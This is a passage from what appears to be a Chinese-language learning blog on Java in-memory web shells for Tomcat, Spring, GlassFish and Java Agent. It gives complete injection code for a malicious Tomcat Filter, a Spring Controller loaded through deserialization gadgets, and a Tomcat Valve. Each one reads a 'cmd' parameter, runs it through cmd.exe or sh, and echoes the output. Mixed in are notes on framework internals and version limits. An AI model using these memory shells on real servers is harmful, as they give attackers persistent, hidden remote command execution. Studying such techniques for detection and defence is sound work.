(flag){ break ; } } } }catch (Exception e){ e.printStackTrace(); } if (flag){ break ; } } } catch (Exception e){ e.printStackTrace(); } } public static Object getField (Object obj,String fieldName) throws Exception{ Field field=null ; Class clas=obj.getClass(); while (clas!=Object.class){ try { field=clas.getDeclaredField(fieldName); break ; }catch (NoSuchFieldException e){ clas=clas.getSuperclass(); } } if (field!=null ){ field.setAccessible(true ); return field.get(obj); }else { throw new NoSuchFieldException (fieldName); } } @Override protected void doPost (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { } }
半通用回显 根据前文思路顺着堆栈一路向下查看Request和Response存储位置,只要获取到一个实例即可。
顺着思路,在org.apache.catalina.core.ApplicationFilterChain
位置发现符合条件的变量。
1 2 private static final ThreadLocal<ServletRequest> lastServicedRequest;private static final ThreadLocal<ServletResponse> lastServicedResponse;
ApplicationFilterChain#internalDoFilter 赋值
1 2 3 4 if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set((Object)null ); lastServicedResponse.set((Object)null ); }
添加思路:
反射修改ApplicationDispatcher.WRAP_SAME_OBJECT
,让代码逻辑走到if条件里面
初始化lastServicedRequest
和lastServicedResponse
两个变量,默认为null
从lastServicedResponse
中获取当前请求response,并且回显内容。
tomcat半通用回显马 (我看这哥们在tomcat半回显的基础上加上了恶意构造的Filter,通过前面对Filter的学习,这里还是好理解)
半通用回显:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 package com.tomcat.memshell.Tomcat;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier;@WebServlet("/demo2") public class TomcatEcho_Half extends HttpServlet { protected void doPost (HttpServletRequest request, HttpServletResponse response) { try { Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain" ).getDeclaredField("lastServicedRequest" ); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain" ).getDeclaredField("lastServicedResponse" ); lastServicedRequest.setAccessible(true ); lastServicedResponse.setAccessible(true ); wrap_same_object.setAccessible(true ); Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null ); ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null ); ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null ); wrap_same_object.setBoolean(null ,true ); lastServicedRequest.set(null ,new ThreadLocal <>()); lastServicedResponse.set(null ,new ThreadLocal <>()); ServletResponse servletResponse = responseThreadLocal.get(); servletResponse.getWriter().write("111" ); } catch (Exception e) { e.printStackTrace(); } } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } }
搭配filter
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 package com.tomcat.memshell.Tomcat;import org.apache.catalina.core.ApplicationContext;import org.apache.catalina.core.StandardContext;import org.apache.tomcat.util.descriptor.web.FilterMap;import javax.servlet.*;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.lang.reflect.Modifier;@WebServlet("/halfDemo") public class TomcatEcho_Half_WithFilter extends HttpServlet { private final String cmdParamName = "cmd" ; private final static String filterUrlPattern = "/*" ; private final static String filterName = "koishi" ; protected void doPost (HttpServletRequest request, HttpServletResponse response) { try { Field wrap_same_object = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequest = Class.forName("org.apache.catalina.core.ApplicationFilterChain" ).getDeclaredField("lastServicedRequest" ); Field lastServicedResponse = Class.forName("org.apache.catalina.core.ApplicationFilterChain" ).getDeclaredField("lastServicedResponse" ); lastServicedRequest.setAccessible(true ); lastServicedResponse.setAccessible(true ); wrap_same_object.setAccessible(true ); Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(wrap_same_object, wrap_same_object.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); boolean wrap_same_object1 = wrap_same_object.getBoolean(null ); ThreadLocal<ServletRequest> requestThreadLocal = (ThreadLocal<ServletRequest>)lastServicedRequest.get(null ); ThreadLocal<ServletResponse> responseThreadLocal = (ThreadLocal<ServletResponse>)lastServicedResponse.get(null ); wrap_same_object.setBoolean(null ,true ); lastServicedRequest.set(null ,new ThreadLocal <>()); lastServicedResponse.set(null ,new ThreadLocal <>()); ServletResponse servletResponse = responseThreadLocal.get(); ServletRequest servletRequest = requestThreadLocal.get(); ServletContext servletContext = servletRequest.getServletContext(); if (servletContext!=null ) { class ShellIntInject implements javax .servlet.Filter{ @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("start with cmd=" ); String cmd = servletRequest.getParameter(cmdParamName); if (cmd!=null ) { String[] cmds = null ; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { cmds = new String []{"cmd.exe" , "/c" , cmd}; } else { cmds = new String []{"sh" , "-c" , cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java .util.Scanner(in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; java.io.Writer writer = servletResponse.getWriter(); writer.write(output); writer.flush(); writer.close(); } filterChain.doFilter(request, response); } @Override public void destroy () { } } Field context = servletContext.getClass().getDeclaredField("context" ); context.setAccessible(true ); ApplicationContext ApplicationContext = (ApplicationContext)context.get(servletContext); Field context1 = ApplicationContext.getClass().getDeclaredField("context" ); context1.setAccessible(true ); StandardContext standardContext = (StandardContext) context1.get(ApplicationContext); Field state = Class.forName("org.apache.catalina.util.LifecycleBase" ).getDeclaredField("state" ); state.setAccessible(true ); state.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP); FilterRegistration.Dynamic registration = ApplicationContext.addFilter(filterName, new ShellIntInject ()); registration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false ,new String []{"/*" }); Method filterStart = Class.forName("org.apache.catalina.core.StandardContext" ).getMethod("filterStart" ); filterStart.setAccessible(true ); filterStart.invoke(standardContext,null ); FilterMap[] filterMaps = standardContext.findFilterMaps(); for (int i = 0 ; i < filterMaps.length; i++) { if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)) { org.apache.tomcat.util.descriptor.web.FilterMap filterMap = filterMaps[i]; filterMaps[i] = filterMaps[0 ]; filterMaps[0 ] = filterMap; break ; } } servletResponse.getWriter().write("TomcatEcho_HalfWithFilter injection successful!\nGo to /koishi with ParamName \"cmd\" for farther operation" ); state.set(standardContext,org.apache.catalina.LifecycleState.STARTED); } } catch (Exception e) { e.printStackTrace(); } } protected void doGet (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this .doPost(request, response); } }
局限 shiro
在shiro反序列化漏洞的利用中并不能成功,发现request,response的设置是在漏洞触发点之后,所以在触发漏洞执行任意java代码时获取不到我们想要的response。其原因是因为rememberMe功能的实现是使用了自己实现的filter。
Tomcat10
HttpServletRequest 与 tomcat789 调用的依赖不同
1 2 import jakarta.servlet.*; import jakarta.servlet.http.HttpServletRequest;
Tomcat7
FilterDef 与 FilterMap 在 tomcat8910 中调用依赖不同
1 2 org.apache.tomcat.util.descriptor.web.FilterDef org.apache.tomcat.util.descriptor.web.FilterMap
六、Spring Controller 内存马 SpringMVC 部分讲解 和 registerHandlerMethod方法简单总结
SpringMVC初始化过程 跟着文章思路,自己debug进去看,大概写个流程
1 2 3 4 5 6 7 8 9 10 11 RequestMappingHandlerMapping#afterPropertiesSet -> AbstractHandlerMethodMapping#afterPropertiesSet -> AbstractHandlerMethodMapping#initHandlerMethods -> AbstractHandlerMethodMapping#processCandidateBean -> AbstractHandlerMethodMapping#isHandler -> AbstractHandlerMethodMapping#detectHandlerMethods -> AbstractHandlerMethodMapping#getMappingForMethod -> AbstractHandlerMethodMapping#registerHandlerMethod ->
registerHandlerMethod
方法简单总结
检查RequestMapping
注解配置是否有歧义。
构建RequestMappingInfo
到HandlerMethod
的映射map。该map便是AbstractHandlerMethodMapping
的成员变量handlerMethods
。LinkedHashMap``<RequestMappingInfo,HandlerMethod>
构建AbstractHandlerMethodMapping
的成员变量urlMap
,MultiValueMap
<String
,RequestMappingInfo
>。这个数据结构可以把它理解成Map<String,List>。其中String类型的key存放的是处理方法上RequestMapping
注解的value。就是具体的uri
先有如下Controller
查找过程
web容器(Tomcat、jetty)接收请求后,交给DispatcherServlet处理。FrameworkServlet调用对应请求方法(eg:get调用doGet),然后调用processRequest方法。进入processRequest方法后,一系列处理后,在line:936进入doService方法。然后在Line856进入doDispatch方法。在line:896获取当前请求的处理器handler。然后进入AbstractHandlerMethodMapping的lookupHandlerMethod方法。代码如下
lookupHandlerMethod
根据lookupPath,也就是请求的uri。直接查找urlMap,获取直接匹配的RequestMappingInfo list
代码里可以看出,匹配的先后顺序是value>params>headers>consumes>produces>methods>custom
当通过urlMap获取不到直接匹配value的RequestMappingInfo时才会走通配符匹配进入addMatchingMappings方法。
在 MappingRegistry.urlLookup 中获取直接匹配的 RequestMappingInfos
如果没有,则遍历所有的 MappingRegistry.mappingLookup 中保存的 RequestMappingInfos
获取最佳匹配的 RequestMappingInfo 对应的 HandlerMethod
Controller 注册进一步学习 LandGrey’s Blog
综上,可以了解到:每个具体的 DispatcherServlet
创建的是一个 Child Context
,代表一个独立的 IoC 容器
;而 ContextLoaderListener
所创建的是一个 Root Context
,代表全局唯一的一个公共 IoC 容器
如果要访问和操作 bean
,一般要获得当前代码执行环境的IoC 容器
代表者 ApplicationContext
技术实现:
1.获得当前代码运行时的上下文环境 方法一:getCurrentWebApplicationContext
1 WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
方法二:WebApplicationContextUtils
1 WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
方法三:RequestContextUtils
1 WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
方法四:getAttribute
1 WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
而对于获取上下文来说,推荐使用第三、四种方法。前两种可能会获取不到RequestMappingHandlerMapping
实例
2.手动注册 controller Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping
映射器 ;
Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
映射器来支持@Contoller
和@RequestMapping
注解。
当然,也有高版本依旧使用旧映射器的情况。因此正常程序的上下文中一般存在其中一种映射器的实例 bean
。又因版本不同和较多的接口等原因,手工注册动态 controller
的方法不止一种。
注: @RestController
注解缺失会导致500错误、无回显
3. controller的缺点 在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。
Spring Controller 内存马代码 Spring 内存马实现 | MYZXCG
(一下内存马配合可以加载字节码的 gadget 使用,常见的有 CB1 , CC2 , CC11 , fastjson_Templates 链 )
KoishiEvilController
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 package com.shiro.vuln.Controller.koishi;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.apache.ibatis.javassist.ClassPool;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import java.lang.reflect.Method;public class KoishiEvilController extends AbstractTranslet { static { try { String className = "com.example.spring.InjectControl" ; byte [] bytes = ClassPool.getDefault().get(InjectControl.class.getName()).toBytecode(); java.lang.ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); java.lang.reflect.Method m0 = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class); m0.setAccessible(true ); m0.invoke(classLoader, className, bytes, 0 , bytes.length); WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = (Class.forName(className).getDeclaredMethods())[0 ]; PatternsRequestCondition url = new PatternsRequestCondition ("/hahahaLaLaLa" ); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition (); RequestMappingInfo info = new RequestMappingInfo (url, ms, null , null , null , null , null ); r.registerMapping(info, Class.forName(className).newInstance(), method); } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
InjectControl
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 package com.shiro.vuln.Controller.koishi;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.PrintWriter;import java.util.Scanner;@Controller public class InjectControl { public InjectControl () { } @RequestMapping({"/koishi"}) public void login (HttpServletRequest request, HttpServletResponse response) { try { String arg0 = request.getParameter("cmd" ); PrintWriter writer = response.getWriter(); if (arg0 != null ) { String o = "" ; ProcessBuilder p; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { p = new ProcessBuilder (new String []{"cmd.exe" , "/c" , arg0}); } else { p = new ProcessBuilder (new String []{"/bin/sh" , "-c" , arg0}); } Scanner c = (new Scanner (p.start().getInputStream())).useDelimiter("\\\\A" ); o = c.hasNext() ? c.next() : o; c.close(); writer.write(o); writer.flush(); writer.close(); } else { response.sendError(404 ); } } catch (Exception var8) { } } }
使用 gadget 加载 KoishiEvilController 打到 /poc 端口即可
七、Spring Interceptor 内存马 同样推荐参考,拦截器处理原理不再做过多 “誊抄” ,这里只写下代码基本构成
Spring 内存马实现 | MYZXCG
定义拦截器必须实现HandlerInterceptor
接口,HandlerInterceptor
接口中有三个方法:
preHandle方法是controller方法执行前拦截的方法
可以使用request或者response跳转到指定的页面
return true放行,执行下一个拦截器,如果没有拦截器,执行controller中的方法。
return false不放行,不会执行controller中的方法。
postHandle是controller方法执行后执行的方法,在JSP视图执行前。
可以使用request或者response跳转到指定的页面
如果指定了跳转的页面,那么controller方法跳转的页面将不会显示。
afterCompletion方法是在JSP执行后执行
request或者response不能再跳转页面了
动态注入Interceptor 通过上面分析发现,如果把自定义的Interceptor类加入到org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping
类的 adaptedInterceptors
属性中即可注册一个拦截器。这个挺好用,在每个页面都会触发,nice中的nice。
内存马代码见我给的项目吧,这里放个效果图
看这 uri
再怎么离谱、就算不存在都能触发,在每个页面都能触发,可以说是肥肠(非常)好用了,挺有意思
八、Tomcat Valve 内存马 概念提要 Tomcat 在处理一个请求调用逻辑时,是如何处理和传递 Request 和 Respone 对象的呢?为了整体架构的每个组件的可伸缩性和可扩展性,Tomcat 使用了职责链模式来实现客户端请求的处理。在 Tomcat 中定义了两个接口:Pipeline(管道)和 Valve(阀)。这两个接口名字很好的诠释了处理模式:数据流就像是流经管道的水一样,经过管道上个一个个阀门。
Pipeline 中会有一个最基础的 Valve(basic),它始终位于末端(最后执行),封装了具体的请求处理和输出响应的过程。Pipeline 提供了 addValve
方法,可以添加新 Valve 在 basic 之前,并按照添加顺序执行。
上图的 basic 就是在前文中提到的最基础的 Valve,这个 basic 所属的类是 StandardEngineValve
Tomcat 每个层级的容器(Engine、Host、Context、Wrapper),都有基础的 Valve 实现(StandardEngineValve、StandardHostValve、StandardContextValve、StandardWrapperValve),他们同时维护了一个 Pipeline 实例(StandardPipeline),也就是说,我们可以在任何层级的容器上针对请求处理进行扩展。这四个 Valve 的基础实现都继承了 ValveBase。这个类帮我们实现了生命接口及MBean 接口,使我们只需专注阀门的逻辑处理即可。
在同一个Pipeline上可以有多个Valve,每个Valve都可以做一些操作,无论是Pipeline还是Valve操作的都是Request和Response。而在容器之间Pipeline和Valve则起到了桥梁的作用。
实在不好理解,可以将其类比于Filter 和 FilterChain 的关系
Tomcat中容器的pipeline机制 - coldridgeValley - 博客园 (cnblogs.com)
1 2 3 4 5 6 7 8 9 10 11 public interface Valve { Valve getNext () ; void setNext (Valve var1) ; void backgroundProcess () ; void invoke (Request var1, Response var2) throws IOException, ServletException; boolean isAsyncSupported () ; }
先看Valve
接口的方法定义,方法不是很多,这里只介绍setNext()
,getNext()
。在上面我们也看到了一个Pipeline
上面可以有很多Valve
,这些Valve
存放的方式并非统一存放在Pipeline
中,而是像一个链表一个接着一个。当你获取到一个Valve
实例的时候,调用getNext()
方法即可获取在这个Pipeline
上的下个Valve
实例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public interface Pipeline extends Contained { Valve getBasic () ; void setBasic (Valve var1) ; void addValve (Valve var1) ; Valve[] getValves(); void removeValve (Valve var1) ; Valve getFirst () ; boolean isAsyncSupported () ; void findNonAsyncValves (Set<String> var1) ; }
可以看出Pipeline
中很多的方法都是操作Valve
的,包括获取,设置,移除Valve
,getFirst()
返回的是Pipeline
上的第一个Valve
,而getBasic()
,setBasic()
则是获取/设置基础阀,我们都知道在Pipeline
中,每个pipeline
至少都有一个阀门,叫做基础阀,而getBasic()
,setBasic()
则是操作基础阀的。
Tomcat 中 Pipeline 仅有一个实现 StandardPipeline,存放在 ContainerBase 的 pipeline 属性中,并且 ContainerBase 提供 addValve
方法调用 StandardPipeline 的 addValve 方法添加。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 public void addValve (Valve valve) { if (valve instanceof Contained) ((Contained) valve).setContainer(this .container); if (getState().isAvailable()) { if (valve instanceof Lifecycle) { try { ((Lifecycle) valve).start(); } catch (LifecycleException e) { log.error("StandardPipeline.addValve: start: " , e); } } } if (first == null ) { first = valve; valve.setNext(basic); } else { Valve current = first; while (current != null ) { if (current.getNext() == basic) { current.setNext(valve); valve.setNext(basic); break ; } current = current.getNext(); } } container.fireContainerEvent(Container.ADD_VALVE_EVENT, valve); }
Tomcat 中四个层级的容器都继承了 ContainerBase ,所以在哪个层级的容器的标准实现上添加自定义的 Valve 均可。
添加后,将会在 org.apache.catalina.connector.CoyoteAdapter
的 service
方法中调用 Valve 的 invoke
方法。
只要自己写一个 Valve 的实现类,为了方便也可以直接使用 ValveBase 实现类。里面的 invoke
方法加入我们的恶意代码,由于可以拿到 Request 和 Response 方法,所以也可以做一些参数上的处理或者回显。然后使用 StandardContext 中的 pipeline 属性的 addValve 方法进行注册。
valve内存马编写路程 Java内存马系列-06-Tomcat 之 Valve 型内存马 | 芜风 (drun1baby.github.io)
我们无法直接获取到 StandardPipeline
,需要先获取 StandardContext
才能拿到
所以这里我们可以得到的攻击思路如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.tomcat.memshell.Valve;import org.apache.catalina.connector.Request;import org.apache.catalina.connector.Response;import org.apache.catalina.core.StandardContext;import org.apache.catalina.valves.ValveBase;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/testk") public class KoishiValve extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); standardContext.getPipeline().addValve(new ValveShell ()); resp.getWriter().write("Evil Valve inject success!" ); } catch (Exception e) { } } class ValveShell extends ValveBase { String cmdParamName = "cmd" ; @Override public void invoke (Request request, Response response) throws IOException, ServletException { try { String cmd = request.getParameter(cmdParamName); if (cmd!=null ) { String[] cmds = null ; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { cmds = new String []{"cmd.exe" , "/c" , cmd}; } else { cmds = new String []{"sh" , "-c" , cmd}; } java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = new java .util.Scanner(in).useDelimiter("\\a" ); String output = s.hasNext() ? s.next() : "" ; java.io.Writer writer = response.getWriter(); response.getWriter().write("smail evil valve isComing!!!\n" ); writer.write(output); writer.flush(); writer.close(); this .getNext().invoke(request, response); } } catch (Exception e) { } } } }
九、GlassFish Grizzly Filter 内存马 (这个组件的内存马,网上资料相当少啊。。)
需要去下一个glassfish来做容器,我一直以为是maven添加依赖。。。找了我好几个小时。。我装的5.0版本的
(55条消息) Glassfish安装、基本使用、在idea中配置Glassfish_as403045314的博客-CSDN博客
(这文章里面不用全看,就当个下载链接即可,glassfish和tomcat配置方法差不多,我本地跑glassfish会报错,鼓捣了半天,还是报错,先不搞这个了,以后比赛出现 GlassFish 容器再说,我把内存马记一下)
GlassFish 使用 grizzly 组件来完成 NIO 的工作,类似 Tomcat 中的 connector 组件。在 HTTP 下,grizzly 负责解析和序列化 HTTP 请求/响应,grizzly 有职责链设计模式的体现,类似Tomcat的Pipeline和Valve,提供了 Filter 和 FilterChain 等接口及实现,就可以被用来写入内存马。
可以采用是通过 HttpServletRequest
最终获取grizzlyRequest
,调用其 addAfterServiceListener
在 AfterServiceListener
的 onAfterService
中拿到 filterChain
并添加恶意Filter:
GlassFish Filter
GlassFish ServiceList
十、Java Agent 内存马 浅谈 Java Agent 内存马 – 天下大木头 (wjlshare.com)
Java Agent 支持两种方式进行加载:
实现 premain 方法,在启动时进行加载 (该特性在 jdk 1.5 之后才有)
实现 agentmain 方法,在启动后进行加载 (该特性在 jdk 1.6 之后才有),主要结合 ClassFileTransformer 接口
1、java agent两个加载方式介绍 本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。
还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。 对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。
Instrumentation 的部分重要方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
2、几个重要的类: Instrumentation对象实现对class的修改操作是依赖于ClassFileTransformer接口中的transform函数。
ClassFileTransformer 对象会被当作参数传给 Instrumentation.addTransformer 函数。此时 Instrumentation.addTransformer 函数其实执行的是其中 ClassFileTransformer 的transform函数。
ClassFileTransformer 接口为转换类文件的代理接口。提供了 transform()
方法用于修改原类的注入。 我们可以在获取到 Instrumentation 对象后通过 addTransformer()
方法添加自定义类文件转换器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public interface ClassFileTransformer { byte [] transform( ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) throws IllegalClassFormatException; }
重写 transform()
方法需要注意以下事项:
ClassLoader 如果是被 Bootstrap ClassLoader (引导类加载器)所加载那么 loader 参数的值是空。
修改类字节码时需要特别注意插入的代码在对应的 ClassLoader 中可以正确的获取到,否则会报 ClassNotFoundException ,比如修改 java.io.FileInputStream (该类由 Bootstrap ClassLoader 加载)时插入了我们检测代码,那么我们将必须保证 FileInputStream 能够获取到我们的检测代码类。
JVM类名的书写方式路径方式:java/lang/String
而不是我们常用的类名方式:java.lang.String
。
类字节必须符合 JVM 校验要求,如果无法验证类字节码会导致 JVM 崩溃或者 VerifyError (类验证错误)。
如果修改的是 retransform 类(修改已被 JVM 加载的类),修改后的类字节码不得新增方法、修改方法参数、类成员变量。
addTransformer
时如果没有传入 retransform 参数(默认是 false ),就算 MANIFEST.MF 中配置了 Can-Redefine-Classes: true
而且手动调用了retransformClasses()
方法也一样无法retransform。
卸载 transform 时需要使用创建时的 Instrumentation 实例。
还需要理解的是,在以下三种情形下 ClassFileTransformer.transform()
会被执行:
新的 class 被加载。
Instrumentation.redefineClasses
显式调用。
addTransformer
第二个参数为 true 时,Instrumentation.retransformClasses
显式调用。
VirtualMachine 1 2 3 4 5 6 7 8 9 10 11 12 13 public abstract class VirtualMachine { public static List<VirtualMachineDescriptor> list () { ... } public static VirtualMachine attach (String id) { ... } public abstract void detach () {} public void loadAgent (String agent) { ... } }
CtMethod 可以理解成加强版的Method对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)。
这个类提供了一些方法,使我们可以便捷的修改方法体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public final class CtMethod extends CtBehavior { } public abstract class CtBehavior extends CtMember { public void setBody (String src) ; public void insertBefore (String src) ; public void insertAfter (String src) ; public int insertAt (int lineNum, String src) ; }
3、启动时加载 agent——premain ——利用premain函数实现java agent
Javaagent 是 java 命令的一个参数。参数 javaagent 可以用于指定一个 jar 包,并且对该 java 包有2个要求:
这个 jar 包的 MANIFEST.MF 文件必须指定 Premain-Class 项。
Premain-Class 指定的那个类必须实现 premain() 方法。
拦截到的class文件会被转化为字节码,然后传给premain函数,premain函数中可以调用Instrumentation类中的函数对刚刚传送进来的字节码进行操作。等到操作结束会将字节码给jvm加载。
( premain 方法顾名思义,会在我们运行 main 方法之前进行调用,即在运行 main 方法之前会先去调用我们 jar 包中 Premain-Class 类中的 premain 方法)
且 premain
函数格式如下:
1 public static void premain(String agentArgs, Instrumentation inst)
小demo尝试 1.创建一个类,需要实现premain方法
1 2 3 4 5 6 7 8 9 10 package com.tomcat.memshell.Java_Agent.premain;import java.lang.instrument.Instrumentation;public class premainDemo { public static void premain (String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); System.out.println("koishi 的 premaindemo 来喽" ); } }
2.接下来创建 mainfest,这里将其保存为 agent.mf ,一定要含有 Premain-Class 属性
(ps:注意这里的 mf 一定要有空行)
1 2 3 Manifest-Version: 1.0 Premain-Class: premainDemo
**3.利用 javac 将 java 文件编译成 class 之后,利用 jar 命令打包,生成我们的 agent.jar **
(打class的时候 java 文件一定一定不要带上package信息,不然会出现找不到类的报错)
